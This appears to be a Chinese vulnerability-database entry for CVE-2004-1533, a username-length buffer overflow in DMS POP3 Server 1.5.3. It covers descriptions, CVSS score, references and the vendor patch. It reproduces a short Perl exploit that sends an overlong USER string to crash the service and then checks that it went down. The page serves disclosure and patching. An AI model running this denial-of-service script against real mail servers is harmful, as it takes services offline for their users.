CVE-2004-1533
CVSS5.0
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 22:55:56
NMCOE    

[原文]Buffer overflow in pop3svr.exe for DMS POP3 1.5.3.27 and earlier allows remote attackers to cause a denial of service (service crash) via a long (1) username or (2) password.


[CNNVD]DMS POP3 Server远程缓冲区溢出漏洞(CNNVD-200412-465)

        
        DMS POP3 Server是一款基于POP3协议的服务程序。
        DMS POP3 Server对用户名长度缺少充分边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以进程权限执行任意指令。
        在POP3验证过程中,提交包含超长用户名的数据,可发生缓冲区溢出,精心构建提交数据可能以进程权限执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1533
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1533
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-465
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=110081437508585&w=2
(UNKNOWN)  BUGTRAQ  20041118 Buffer overlow in DMS POP3 Server for Windows 2000/XP 1.5.3 build
http://www.digitalmapping.sk.ca/pop3srv/Update.asp
(PATCH)  CONFIRM  http://www.digitalmapping.sk.ca/pop3srv/Update.asp
http://www.securityfocus.com/bid/11705
(PATCH)  BID  11705
http://xforce.iss.net/xforce/xfdb/18161
(PATCH)  XF  dms-pop3-username-bo(18161)

- 漏洞信息

DMS POP3 Server远程缓冲区溢出漏洞
中危 边界条件错误
2004-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        DMS POP3 Server是一款基于POP3协议的服务程序。
        DMS POP3 Server对用户名长度缺少充分边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以进程权限执行任意指令。
        在POP3验证过程中,提交包含超长用户名的数据,可发生缓冲区溢出,精心构建提交数据可能以进程权限执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Digital Mapping Systems
        -----------------------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载DMS POP3 Server 1.5.4.27:
        
        http://www.digitalmapping.sk.ca/pop3srv/Update.asp

- 漏洞信息 (644)

DMS POP3 Server (1.5.3 build 37) Buffer Overflow Exploit (EDBID:644)
windows remote
2004-11-21 Verified
110 Reed Arvin
N/A [点击下载]
#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
#        DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
				    PeerPort => $ARGV[1],
				    Proto    => "TCP"))
{
	print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

	sleep(1);

	print $socket "USER " . "A" x 1023;

	close $socket;

	sleep(1);

	if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
					    PeerPort => $ARGV[1],
					    Proto    => "TCP"))
	{
		close $socket;

		print "failed!\n";
	}
	else
	{
		print "successful!\n";
	}
}
else
{
	print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}

# milw0rm.com [2004-11-21]
		

- 漏洞信息

11927
DMS POP3 Server (pop3svr.exe) Multiple Field Remote Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability Patch / RCS
Exploit Public Vendor Verified

- 漏洞描述

A remote overflow exists in DMS POP3 Server. The application fails to perform proper bounds checking resulting in a buffer overflow. By passing an overly long username, a remote attacker can cause the service to crash resulting in a loss of availability.

- 时间线

2004-11-18 Unknow
2004-11-18 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Digital Mapping Systems has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

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